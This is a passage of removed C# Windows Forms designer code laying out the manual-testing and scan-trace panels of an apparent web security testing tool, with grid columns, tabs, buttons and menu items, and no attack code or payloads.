this.ScanTraceOverviewGrid.RowHeadersWidth = 10; - this.ScanTraceOverviewGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanTraceOverviewGrid.Size = new System.Drawing.Size(689, 229); - this.ScanTraceOverviewGrid.TabIndex = 9; - // - // Column4 - // - this.Column4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.Column4.HeaderText = "ID"; - this.Column4.MinimumWidth = 30; - this.Column4.Name = "Column4"; - this.Column4.ReadOnly = true; - this.Column4.Width = 30; - // - // dataGridViewTextBoxColumn17 - // - this.dataGridViewTextBoxColumn17.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; - this.dataGridViewTextBoxColumn17.HeaderText = "Log ID"; - this.dataGridViewTextBoxColumn17.MinimumWidth = 60; - this.dataGridViewTextBoxColumn17.Name = "dataGridViewTextBoxColumn17"; - this.dataGridViewTextBoxColumn17.ReadOnly = true; - this.dataGridViewTextBoxColumn17.Width = 64; - // - // dataGridViewTextBoxColumn18 - // - this.dataGridViewTextBoxColumn18.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; - this.dataGridViewTextBoxColumn18.HeaderText = "Injected Payload"; - this.dataGridViewTextBoxColumn18.MinimumWidth = 200; - this.dataGridViewTextBoxColumn18.Name = "dataGridViewTextBoxColumn18"; - this.dataGridViewTextBoxColumn18.ReadOnly = true; - this.dataGridViewTextBoxColumn18.Width = 200; - // - // dataGridViewTextBoxColumn19 - // - this.dataGridViewTextBoxColumn19.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - dataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.dataGridViewTextBoxColumn19.DefaultCellStyle = dataGridViewCellStyle5; - this.dataGridViewTextBoxColumn19.HeaderText = "Code"; - this.dataGridViewTextBoxColumn19.MinimumWidth = 50; - this.dataGridViewTextBoxColumn19.Name = "dataGridViewTextBoxColumn19"; - this.dataGridViewTextBoxColumn19.ReadOnly = true; - this.dataGridViewTextBoxColumn19.Width = 50; - // - // dataGridViewTextBoxColumn20 - // - this.dataGridViewTextBoxColumn20.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; - dataGridViewCellStyle6.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.dataGridViewTextBoxColumn20.DefaultCellStyle = dataGridViewCellStyle6; - this.dataGridViewTextBoxColumn20.HeaderText = "Body Length"; - this.dataGridViewTextBoxColumn20.MinimumWidth = 80; - this.dataGridViewTextBoxColumn20.Name = "dataGridViewTextBoxColumn20"; - this.dataGridViewTextBoxColumn20.ReadOnly = true; - this.dataGridViewTextBoxColumn20.Width = 92; - // - // dataGridViewTextBoxColumn21 - // - this.dataGridViewTextBoxColumn21.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; - dataGridViewCellStyle7.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.dataGridViewTextBoxColumn21.DefaultCellStyle = dataGridViewCellStyle7; - this.dataGridViewTextBoxColumn21.HeaderText = "MIME Type"; - this.dataGridViewTextBoxColumn21.MinimumWidth = 80; - this.dataGridViewTextBoxColumn21.Name = "dataGridViewTextBoxColumn21"; - this.dataGridViewTextBoxColumn21.ReadOnly = true; - this.dataGridViewTextBoxColumn21.Width = 87; - // - // Column5 - // - this.Column5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.Column5.DefaultCellStyle = dataGridViewCellStyle8; - this.Column5.HeaderText = "Time(ms)"; - this.Column5.MinimumWidth = 50; - this.Column5.Name = "Column5"; - this.Column5.ReadOnly = true; - this.Column5.Width = 50; - // - // dataGridViewTextBoxColumn22 - // - this.dataGridViewTextBoxColumn22.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; - dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.dataGridViewTextBoxColumn22.DefaultCellStyle = dataGridViewCellStyle9; - this.dataGridViewTextBoxColumn22.HeaderText = "Response Signature"; - this.dataGridViewTextBoxColumn22.MinimumWidth = 200; - this.dataGridViewTextBoxColumn22.Name = "dataGridViewTextBoxColumn22"; - this.dataGridViewTextBoxColumn22.ReadOnly = true; - this.dataGridViewTextBoxColumn22.Width = 200; - // - // ScanTraceDetailedInfoTab - // - this.ScanTraceDetailedInfoTab.Controls.Add(this.ScanTraceMsgRTB); - this.ScanTraceDetailedInfoTab.Location = new System.Drawing.Point(4, 22); - this.ScanTraceDetailedInfoTab.Margin = new System.Windows.Forms.Padding(0); - this.ScanTraceDetailedInfoTab.Name = "ScanTraceDetailedInfoTab"; - this.ScanTraceDetailedInfoTab.Size = new System.Drawing.Size(689, 229); - this.ScanTraceDetailedInfoTab.TabIndex = 1; - this.ScanTraceDetailedInfoTab.Text = " Detailed Info "; - this.ScanTraceDetailedInfoTab.UseVisualStyleBackColor = true; - // - // ScanTraceMsgRTB - // - this.ScanTraceMsgRTB.BackColor = System.Drawing.Color.White; - this.ScanTraceMsgRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanTraceMsgRTB.DetectUrls = false; - this.ScanTraceMsgRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanTraceMsgRTB.Location = new System.Drawing.Point(0, 0); - this.ScanTraceMsgRTB.Name = "ScanTraceMsgRTB"; - this.ScanTraceMsgRTB.ReadOnly = true; - this.ScanTraceMsgRTB.Size = new System.Drawing.Size(689, 229); - this.ScanTraceMsgRTB.TabIndex = 0; - this.ScanTraceMsgRTB.Text = ""; - // - // mt_manual - // - this.mt_manual.Controls.Add(this.MTFirstBaseSplit); - this.mt_manual.Location = new System.Drawing.Point(4, 22); - this.mt_manual.Margin = new System.Windows.Forms.Padding(0); - this.mt_manual.Name = "mt_manual"; - this.mt_manual.Size = new System.Drawing.Size(705, 511); - this.mt_manual.TabIndex = 2; - this.mt_manual.Text = " Manual Testing "; - this.mt_manual.UseVisualStyleBackColor = true; - // - // MTFirstBaseSplit - // - this.MTFirstBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.MTFirstBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; - this.MTFirstBaseSplit.IsSplitterFixed = true; - this.MTFirstBaseSplit.Location = new System.Drawing.Point(0, 0); - this.MTFirstBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.MTFirstBaseSplit.Name = "MTFirstBaseSplit"; - this.MTFirstBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // MTFirstBaseSplit.Panel1 - // - this.MTFirstBaseSplit.Panel1.Controls.Add(this.MTBaseTopSplit); - // - // MTFirstBaseSplit.Panel2 - // - this.MTFirstBaseSplit.Panel2.Controls.Add(this.MTBaseSplit); - this.MTFirstBaseSplit.Size = new System.Drawing.Size(705, 511); - this.MTFirstBaseSplit.SplitterDistance = 135; - this.MTFirstBaseSplit.SplitterWidth = 2; - this.MTFirstBaseSplit.TabIndex = 14; - // - // MTBaseTopSplit - // - this.MTBaseTopSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.MTBaseTopSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; - this.MTBaseTopSplit.IsSplitterFixed = true; - this.MTBaseTopSplit.Location = new System.Drawing.Point(0, 0); - this.MTBaseTopSplit.Margin = new System.Windows.Forms.Padding(0); - this.MTBaseTopSplit.Name = "MTBaseTopSplit"; - this.MTBaseTopSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // MTBaseTopSplit.Panel1 - // - this.MTBaseTopSplit.Panel1.BackColor = System.Drawing.Color.LightSkyBlue; - this.MTBaseTopSplit.Panel1.Controls.Add(this.CreateNewTestRequestBtn); - this.MTBaseTopSplit.Panel1.Controls.Add(this.textBox2); - // - // MTBaseTopSplit.Panel2 - // - this.MTBaseTopSplit.Panel2.Controls.Add(this.TestGroupsLV); - this.MTBaseTopSplit.Panel2.Controls.Add(this.TestGroupsTitleTB); - this.MTBaseTopSplit.Size = new System.Drawing.Size(705, 135); - this.MTBaseTopSplit.SplitterDistance = 42; - this.MTBaseTopSplit.SplitterWidth = 2; - this.MTBaseTopSplit.TabIndex = 0; - // - // CreateNewTestRequestBtn - // - this.CreateNewTestRequestBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.CreateNewTestRequestBtn.Location = new System.Drawing.Point(573, 5); - this.CreateNewTestRequestBtn.Name = "CreateNewTestRequestBtn"; - this.CreateNewTestRequestBtn.Size = new System.Drawing.Size(126, 34); - this.CreateNewTestRequestBtn.TabIndex = 0; - this.CreateNewTestRequestBtn.Text = "Create New Request"; - this.CreateNewTestRequestBtn.UseVisualStyleBackColor = true; - this.CreateNewTestRequestBtn.Click += new System.EventHandler(this.CreateNewTestRequestBtn_Click); - // - // textBox2 - // - this.textBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox2.BackColor = System.Drawing.Color.LightSkyBlue; - this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox2.Location = new System.Drawing.Point(10, 6); - this.textBox2.Margin = new System.Windows.Forms.Padding(0); - this.textBox2.Multiline = true; - this.textBox2.Name = "textBox2"; - this.textBox2.ReadOnly = true; - this.textBox2.Size = new System.Drawing.Size(550, 28); - this.textBox2.TabIndex = 1; - this.textBox2.TabStop = false; - this.textBox2.Text = resources.GetString("textBox2.Text"); - // - // TestGroupsLV - // - this.TestGroupsLV.Activation = System.Windows.Forms.ItemActivation.OneClick; - this.TestGroupsLV.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.TestGroupsLV.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.TestGroupsLV.HideSelection = false; - this.TestGroupsLV.Location = new System.Drawing.Point(0, 20); - this.TestGroupsLV.MultiSelect = false; - this.TestGroupsLV.Name = "TestGroupsLV"; - this.TestGroupsLV.Size = new System.Drawing.Size(705, 68); - this.TestGroupsLV.TabIndex = 13; - this.TestGroupsLV.TileSize = new System.Drawing.Size(50, 50); - this.TestGroupsLV.UseCompatibleStateImageBehavior = false; - this.TestGroupsLV.View = System.Windows.Forms.View.SmallIcon; - this.TestGroupsLV.Visible = false; - this.TestGroupsLV.SelectedIndexChanged += new System.EventHandler(this.TestGroupsLV_SelectedIndexChanged); - // - // TestGroupsTitleTB - // - this.TestGroupsTitleTB.BackColor = System.Drawing.SystemColors.Window; - this.TestGroupsTitleTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.TestGroupsTitleTB.Location = new System.Drawing.Point(2, 5); - this.TestGroupsTitleTB.Margin = new System.Windows.Forms.Padding(0); - this.TestGroupsTitleTB.Name = "TestGroupsTitleTB"; - this.TestGroupsTitleTB.ReadOnly = true; - this.TestGroupsTitleTB.Size = new System.Drawing.Size(705, 13); - this.TestGroupsTitleTB.TabIndex = 2; - this.TestGroupsTitleTB.TabStop = false; - this.TestGroupsTitleTB.Text = "The following are the available Request groups. You can select any group by click" + - "ing on its name."; - this.TestGroupsTitleTB.Visible = false; - // - // MTBaseSplit - // - this.MTBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.MTBaseSplit.Location = new System.Drawing.Point(0, 0); - this.MTBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.MTBaseSplit.Name = "MTBaseSplit"; - this.MTBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // MTBaseSplit.Panel1 - // - this.MTBaseSplit.Panel1.Controls.Add(this.TestBaseRequestSplit); - // - // MTBaseSplit.Panel2 - // - this.MTBaseSplit.Panel2.Controls.Add(this.MTResponseSideTabs); - this.MTBaseSplit.Size = new System.Drawing.Size(705, 374); - this.MTBaseSplit.SplitterDistance = 190; - this.MTBaseSplit.SplitterWidth = 2; - this.MTBaseSplit.TabIndex = 0; - this.MTBaseSplit.Visible = false; - // - // TestBaseRequestSplit - // - this.TestBaseRequestSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.TestBaseRequestSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; - this.TestBaseRequestSplit.IsSplitterFixed = true; - this.TestBaseRequestSplit.Location = new System.Drawing.Point(0, 0); - this.TestBaseRequestSplit.Margin = new System.Windows.Forms.Padding(0); - this.TestBaseRequestSplit.Name = "TestBaseRequestSplit"; - this.TestBaseRequestSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // TestBaseRequestSplit.Panel1 - // - this.TestBaseRequestSplit.Panel1.Controls.Add(this.TestUpdateFromCookieStoreLL); - this.TestBaseRequestSplit.Panel1.Controls.Add(this.NextTestLog); - this.TestBaseRequestSplit.Panel1.Controls.Add(this.MTExceptionTB); - this.TestBaseRequestSplit.Panel1.Controls.Add(this.MTDeleteGroupLL); - this.TestBaseRequestSplit.Panel1.Controls.Add(this.TestIDLbl); - this.TestBaseRequestSplit.Panel1.Controls.Add(this.MTCurrentGroupNameTB); - this.TestBaseRequestSplit.Panel1.Controls.Add(this.PreviousTestLog); - this.TestBaseRequestSplit.Panel1.Controls.Add(this.MTRenameGroupLL); - this.TestBaseRequestSplit.Panel1.Controls.Add(this.label36); - this.TestBaseRequestSplit.Panel1.Controls.Add(this.label40); - // - // TestBaseRequestSplit.Panel2 - // - this.TestBaseRequestSplit.Panel2.Controls.Add(this.MTMaximizeRequestViewBtn); - this.TestBaseRequestSplit.Panel2.Controls.Add(this.TestRequestView); - this.TestBaseRequestSplit.Panel2.Controls.Add(this.panel4); - this.TestBaseRequestSplit.Panel2.Controls.Add(this.MTSendBtn); - this.TestBaseRequestSplit.Size = new System.Drawing.Size(705, 190); - this.TestBaseRequestSplit.SplitterDistance = 49; - this.TestBaseRequestSplit.SplitterWidth = 2; - this.TestBaseRequestSplit.TabIndex = 24; - // - // TestUpdateFromCookieStoreLL - // - this.TestUpdateFromCookieStoreLL.AutoSize = true; - this.TestUpdateFromCookieStoreLL.Location = new System.Drawing.Point(3, 32); - this.TestUpdateFromCookieStoreLL.Name = "TestUpdateFromCookieStoreLL"; - this.TestUpdateFromCookieStoreLL.Size = new System.Drawing.Size(257, 13); - this.TestUpdateFromCookieStoreLL.TabIndex = 28; - this.TestUpdateFromCookieStoreLL.TabStop = true; - this.TestUpdateFromCookieStoreLL.Text = "Update this Request\'s Cookies from the Cookie Store"; - this.TestUpdateFromCookieStoreLL.Visible = false; - this.TestUpdateFromCookieStoreLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.TestUpdateFromCookieStoreLL_LinkClicked); - // - // NextTestLog - // - this.NextTestLog.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.NextTestLog.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.NextTestLog.Location = new System.Drawing.Point(636, 6); - this.NextTestLog.Name = "NextTestLog"; - this.NextTestLog.Size = new System.Drawing.Size(49, 23); - this.NextTestLog.TabIndex = 12; - this.NextTestLog.Text = ">"; - this.NextTestLog.UseVisualStyleBackColor = true; - this.NextTestLog.Click += new System.EventHandler(this.NextTestLog_Click); - // - // MTExceptionTB - // - this.MTExceptionTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.MTExceptionTB.BackColor = System.Drawing.SystemColors.Window; - this.MTExceptionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.MTExceptionTB.ForeColor = System.Drawing.Color.Red; - this.MTExceptionTB.Location = new System.Drawing.Point(266, 32); - this.MTExceptionTB.Name = "MTExceptionTB"; - this.MTExceptionTB.ReadOnly = true; - this.MTExceptionTB.Size = new System.Drawing.Size(433, 13); - this.MTExceptionTB.TabIndex = 7; - this.MTExceptionTB.Visible = false; - // - // MTDeleteGroupLL - // - this.MTDeleteGroupLL.AutoSize = true; - this.MTDeleteGroupLL.Location = new System.Drawing.Point(403, 8); - this.MTDeleteGroupLL.Name = "MTDeleteGroupLL"; - this.MTDeleteGroupLL.Size = new System.Drawing.Size(70, 13); - this.MTDeleteGroupLL.TabIndex = 18; - this.MTDeleteGroupLL.TabStop = true; - this.MTDeleteGroupLL.Text = "Delete Group"; - this.MTDeleteGroupLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.MTDeleteGroupLL_LinkClicked); - // - // TestIDLbl - // - this.TestIDLbl.AutoSize = true; - this.TestIDLbl.BackColor = System.Drawing.Color.Transparent; - this.TestIDLbl.Location = new System.Drawing.Point(7, 6); - this.TestIDLbl.Name = "TestIDLbl"; - this.TestIDLbl.Size = new System.Drawing.Size(24, 13); - this.TestIDLbl.TabIndex = 2; - this.TestIDLbl.Text = "ID: "; - // - // MTCurrentGroupNameTB - // - this.MTCurrentGroupNameTB.Location = new System.Drawing.Point(157, 5); - this.MTCurrentGroupNameTB.Name = "MTCurrentGroupNameTB"; - this.MTCurrentGroupNameTB.Size = new System.Drawing.Size(155, 20); - this.MTCurrentGroupNameTB.TabIndex = 17; - // - // PreviousTestLog - // - this.PreviousTestLog.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.PreviousTestLog.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.PreviousTestLog.Location = new System.Drawing.Point(495, 6); - this.PreviousTestLog.Name = "PreviousTestLog"; - this.PreviousTestLog.Size = new System.Drawing.Size(49, 23); - this.PreviousTestLog.TabIndex = 11; - this.PreviousTestLog.Text = "<"; - this.PreviousTestLog.UseVisualStyleBackColor = true; - this.PreviousTestLog.Click += new System.EventHandler(this.PreviousTestLog_Click); - // - // MTRenameGroupLL - // - this.MTRenameGroupLL.AutoSize = true; - this.MTRenameGroupLL.Location = new System.Drawing.Point(318, 8); - this.MTRenameGroupLL.Name = "MTRenameGroupLL"; - this.MTRenameGroupLL.Size = new System.Drawing.Size(79, 13); - this.MTRenameGroupLL.TabIndex = 16; - this.MTRenameGroupLL.TabStop = true; - this.MTRenameGroupLL.Text = "Rename Group"; - this.MTRenameGroupLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.MTRenameGroupLL_LinkClicked); - // - // label36 - // - this.label36.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.label36.AutoSize = true; - this.label36.Location = new System.Drawing.Point(552, 11); - this.label36.Name = "label36"; - this.label36.Size = new System.Drawing.Size(77, 13); - this.label36.TabIndex = 14; - this.label36.Text = "Browse History"; - // - // label40 - // - this.label40.AutoSize = true; - this.label40.Location = new System.Drawing.Point(81, 8); - this.label40.Name = "label40"; - this.label40.Size = new System.Drawing.Size(70, 13); - this.label40.TabIndex = 15; - this.label40.Text = "Group Name:"; - // - // MTMaximizeRequestViewBtn - // - this.MTMaximizeRequestViewBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.MTMaximizeRequestViewBtn.ContextMenuStrip = this.LogMenu; - this.MTMaximizeRequestViewBtn.Location = new System.Drawing.Point(633, 117); - this.MTMaximizeRequestViewBtn.Name = "MTMaximizeRequestViewBtn"; - this.MTMaximizeRequestViewBtn.Size = new System.Drawing.Size(47, 19); - this.MTMaximizeRequestViewBtn.TabIndex = 23; - this.MTMaximizeRequestViewBtn.Text = "\\/"; - this.MTMaximizeRequestViewBtn.UseVisualStyleBackColor = true; - this.MTMaximizeRequestViewBtn.Click += new System.EventHandler(this.MTMaximizeRequestViewBtn_Click); - // - // LogMenu - // - this.LogMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.SelectForManualTestingToolStripMenuItem, - this.SelectForAutomatedScanningToolStripMenuItem, - this.SelectResponseForJavaScriptTestingToolStripMenuItem, - this.CopyRequestToolStripMenuItem, - this.CopyResponseToolStripMenuItem, - this.RunModulesOnRequestResponseToolStripMenuItem}); - this.LogMenu.Name = "ProxyLogMenu"; - this.LogMenu.Size = new System.Drawing.Size(306, 136); - this.LogMenu.Opening += new System.ComponentModel.CancelEventHandler(this.LogMenu_Opening); - // - // SelectForManualTestingToolStripMenuItem - // - this.SelectForManualTestingToolStripMenuItem.Name = "SelectForManualTestingToolStripMenuItem"; - this.SelectForManualTestingToolStripMenuItem.Size = new System.Drawing.Size(305, 22); - this.SelectForManualTestingToolStripMenuItem.Text = "Select this Request for Manual Testing"; - this.SelectForManualTestingToolStripMenuItem.Click += new System.EventHandler(this.SelectForManualTestingToolStripMenuItem_Click); - // - // SelectForAutomatedScanningToolStripMenuItem - // - this.SelectForAutomatedScanningToolStripMenuItem.Name = "SelectForAutomatedScanningToolStripMenuItem"; - this.SelectForAutomatedScanningToolStripMenuItem.Size = new System.Drawing.Size(305, 22); - this.SelectForAutomatedScanningToolStripMenuItem.Text = "Select this Request for Automated Scanning"; - this.SelectForAutomatedScanningToolStripMenuItem.Click += new System.EventHandler(this.SelectForAutomatedScanningToolStripMenuItem_Click); - // - // SelectResponseForJavaScriptTestingToolStripMenuItem - // - this.SelectResponseForJavaScriptTestingToolStripMenuItem.Name = "SelectResponseForJavaScriptTestingToolStripMenuItem"; - this.SelectResponseForJavaScriptTestingToolStripMenuItem.Size = new System.Drawing.Size(305, 22); - this.SelectResponseForJavaScriptTestingToolStripMenuItem.Text = "Select this Response for JavaScript Testing"; - this.SelectResponseForJavaScriptTestingToolStripMenuItem.Click += new System.EventHandler(this.SelectResponseForJavaScriptTestingToolStripMenuItem_Click); - // - // CopyRequestToolStripMenuItem - // - this.CopyRequestToolStripMenuItem.Name = "CopyRequestToolStripMenuItem"; - this.CopyRequestToolStripMenuItem.Size = new System.Drawing.Size(305, 22); - this.CopyRequestToolStripMenuItem.Text = "Copy Request"; - this.CopyRequestToolStripMenuItem.Click += new System.EventHandler(this.CopyRequestToolStripMenuItem_Click); - // - // CopyResponseToolStripMenuItem - // - this.CopyResponseToolStripMenuItem.Name = "CopyResponseToolStripMenuItem"; - this.CopyResponseToolStripMenuItem.Size = new System.Drawing.Size(305, 22); - this.CopyResponseToolStripMenuItem.Text = "Copy Response"; - this.CopyResponseToolStripMenuItem.Click += new System.EventHandler(this.CopyResponseToolStripMenuItem_Click); - // - // RunModulesOnRequestResponseToolStripMenuItem - // - this.RunModulesOnRequestResponseToolStripMenuItem.Name = "RunModulesOnRequestResponseToolStripMenuItem"; - this.RunModulesOnRequestResponseToolStripMenuItem.Size = new System.Drawing.Size(305, 22); - this.RunModulesOnRequestResponseToolStripMenuItem.Text = "Run Modules on this Request/Response"; - // - // TestRequestView - // - this.TestRequestView.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.TestRequestView.BackColor = System.Drawing.Color.White; - this.TestRequestView.Location = new System.Drawing.Point(0, 0); - this.TestRequestView.Margin = new System.Windows.Forms.Padding(0); - this.TestRequestView.Name = "TestRequestView"; - this.TestRequestView.ReadOnly = false; - this.TestRequestView.Size = new System.Drawing.Size(588, 139); - this.TestRequestView.TabIndex = 22; - // - // panel4 - // - this.panel4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.panel4.BackColor = System.Drawing.Color.LightSteelBlue; - this.panel4.Controls.Add(this.TestAdvancedOptionsHelpLL); - this.panel4.Controls.Add(this.MTStoredRequestBtn); - this.panel4.Controls.Add(this.MTScriptedSendBtn); - this.panel4.Controls.Add(this.label41); - this.panel4.Location = new System.Drawing.Point(591, 31); - this.panel4.Name = "panel4"; - this.panel4.Size = new System.Drawing.Size(111, 85); - this.panel4.TabIndex = 21; - // - // TestAdvancedOptionsHelpLL - // - this.TestAdvancedOptionsHelpLL.AutoSize = true; - this.TestAdvancedOptionsHelpLL.Location = new System.Drawing.Point(23, 68); - this.TestAdvancedOptionsHelpLL.Name = "TestAdvancedOptionsHelpLL"; - this.TestAdvancedOptionsHelpLL.Size = new System.Drawing.Size(65, 13); - this.TestAdvancedOptionsHelpLL.TabIndex = 20; - this.TestAdvancedOptionsHelpLL.TabStop = true; - this.TestAdvancedOptionsHelpLL.Text = "What\'s this?"; - this.TestAdvancedOptionsHelpLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.TestAdvancedOptionsHelpLL_LinkClicked); - // - // MTStoredRequestBtn - // - this.MTStoredRequestBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.MTStoredRequestBtn.Enabled = false; - this.MTStoredRequestBtn.Location = new System.Drawing.Point(6, 44); - this.MTStoredRequestBtn.Name = "MTStoredRequestBtn"; - this.MTStoredRequestBtn.Size = new System.Drawing.Size(100, 23); - this.MTStoredRequestBtn.TabIndex = 6; - this.MTStoredRequestBtn.Text = "Stored Request"; - this.MTStoredRequestBtn.UseVisualStyleBackColor = true; - this.MTStoredRequestBtn.Click += new System.EventHandler(this.MTStoredRequestBtn_Click); - // - // MTScriptedSendBtn - // - this.MTScriptedSendBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.MTScriptedSendBtn.Enabled = false; - this.MTScriptedSendBtn.Location = new System.Drawing.Point(6, 20); - this.MTScriptedSendBtn.Name = "MTScriptedSendBtn"; - this.MTScriptedSendBtn.Size = new System.Drawing.Size(100, 23); - this.MTScriptedSendBtn.TabIndex = 5; - this.MTScriptedSendBtn.Text = "Scripted Send"; - this.MTScriptedSendBtn.UseVisualStyleBackColor = true; - this.MTScriptedSendBtn.Click += new System.EventHandler(this.MTScriptedSendBtn_Click); - // - // label41 - // - this.label41.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.label41.AutoSize = true; - this.label41.Location = new System.Drawing.Point(8, 4); - this.label41.Name = "label41"; - this.label41.Size = new System.Drawing.Size(95, 13); - this.label41.TabIndex = 19; - this.label41.Text = "Advanced Options"; - // - // MTSendBtn - // - this.MTSendBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.MTSendBtn.Location = new System.Drawing.Point(595, 4); - this.MTSendBtn.Name = "MTSendBtn"; - this.MTSendBtn.Size = new System.Drawing.Size(105, 23); - this.MTSendBtn.TabIndex = 1; - this.MTSendBtn.Text = "Send Request"; - this.MTSendBtn.UseVisualStyleBackColor = true; - this.MTSendBtn.Click += new System.EventHandler(this.MTSendBtn_Click); - // - // MTResponseSideTabs - // - this.MTResponseSideTabs.Controls.Add(this.MTResponseTab); - this.MTResponseSideTabs.Controls.Add(this.MTGroupHistoryTab); - this.MTResponseSideTabs.Controls.Add(this.MTHelp); - this.MTResponseSideTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.MTResponseSideTabs.Location = new System.Drawing.Point(0, 0); - this.MTResponseSideTabs.Margin = new System.Windows.Forms.Padding(0); - this.MTResponseSideTabs.Name = "MTResponseSideTabs"; - this.MTResponseSideTabs.Padding = new System.Drawing.Point(0, 0); - this.MTResponseSideTabs.SelectedIndex = 0; - this.MTResponseSideTabs.Size = new System.Drawing.Size(705, 182); - this.MTResponseSideTabs.TabIndex = 24; - // - // MTResponseTab - // - this.MTResponseTab.Controls.Add(this.MTMaximizeResponseViewBtn); - this.MTResponseTab.Controls.Add(this.TestUpdateCookieStoreLL); - this.MTResponseTab.Controls.Add(this.TestResponseView); - this.MTResponseTab.Controls.Add(this.MTGetRedirectBtn); - this.MTResponseTab.Controls.Add(this.MTFollowRedirectBtn); - this.MTResponseTab.Location = new System.Drawing.Point(4, 22); - this.MTResponseTab.Margin = new System.Windows.Forms.Padding(0); - this.MTResponseTab.Name = "MTResponseTab"; - this.MTResponseTab.Size = new System.Drawing.Size(697, 156); - this.MTResponseTab.TabIndex = 1; - this.MTResponseTab.Text = " Response "; - this.MTResponseTab.UseVisualStyleBackColor = true; - // - // MTMaximizeResponseViewBtn - // - this.MTMaximizeResponseViewBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.MTMaximizeResponseViewBtn.ContextMenuStrip = this.LogMenu; - this.MTMaximizeResponseViewBtn.Location = new System.Drawing.Point(643, 5); - this.MTMaximizeResponseViewBtn.Name = "MTMaximizeResponseViewBtn"; - this.MTMaximizeResponseViewBtn.Size = new System.Drawing.Size(47, 19); - this.MTMaximizeResponseViewBtn.TabIndex = 26; - this.MTMaximizeResponseViewBtn.Text = "/\\"; - 